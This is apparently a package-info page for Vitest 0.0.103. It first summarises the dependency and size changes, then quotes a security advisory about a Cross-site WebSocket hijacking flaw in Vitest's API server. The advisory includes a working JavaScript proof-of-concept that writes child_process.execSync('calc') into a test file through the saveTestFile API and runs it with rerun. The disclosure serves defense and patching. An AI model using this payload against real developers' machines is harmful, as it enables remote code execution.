Vitest, a blazing-fast unit test framework powered by Vite, saw a minor version update from 0.0.102 to 0.0.103, released on December 21st, 2021. While seemingly small, these incremental updates can introduce crucial refinements for developers. The core description remains consistent: Vitest aims to provide a swift and efficient testing experience, leveraging the speed of Vite for modern web projects.
Examining the dependency changes reveals a subtle, yet noteworthy shift. Version 0.0.103 updated tinyspy from ^0.1.2 to ^0.2.4. tinyspy is a tiny but powerful library for creating spies, stubs, and mocks - essential tools for writing effective unit tests. This update suggests improvements, bug fixes, or expanded functionality within the spying capabilities that Vitest utilizes under the hood. Developers can anticipate more reliable and flexible mocking during testing.
The unpacked size also increased slightly, from 1164102 to 1164634, indicating possible additions or modifications to the codebase – potentially related to the tinyspy update or other internal improvements. Overall, Vitest continues to refine its developer experience, emphasizing speed and efficiency in unit testing. The update of supporting libraries such as tinyspy ensures developers have access to the latest tools and can rely on Vitest for robust testing of their Vite-powered applications. Staying up-to-date with even minor version bumps like this is recommended to benefit from the latest improvements and bug fixes.
All the vulnerabilities related to the version 0.0.103 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api
option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile
API that can edit a test file and rerun
API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile
API and then running that file by calling the rerun
API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc
executable in PATH
env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.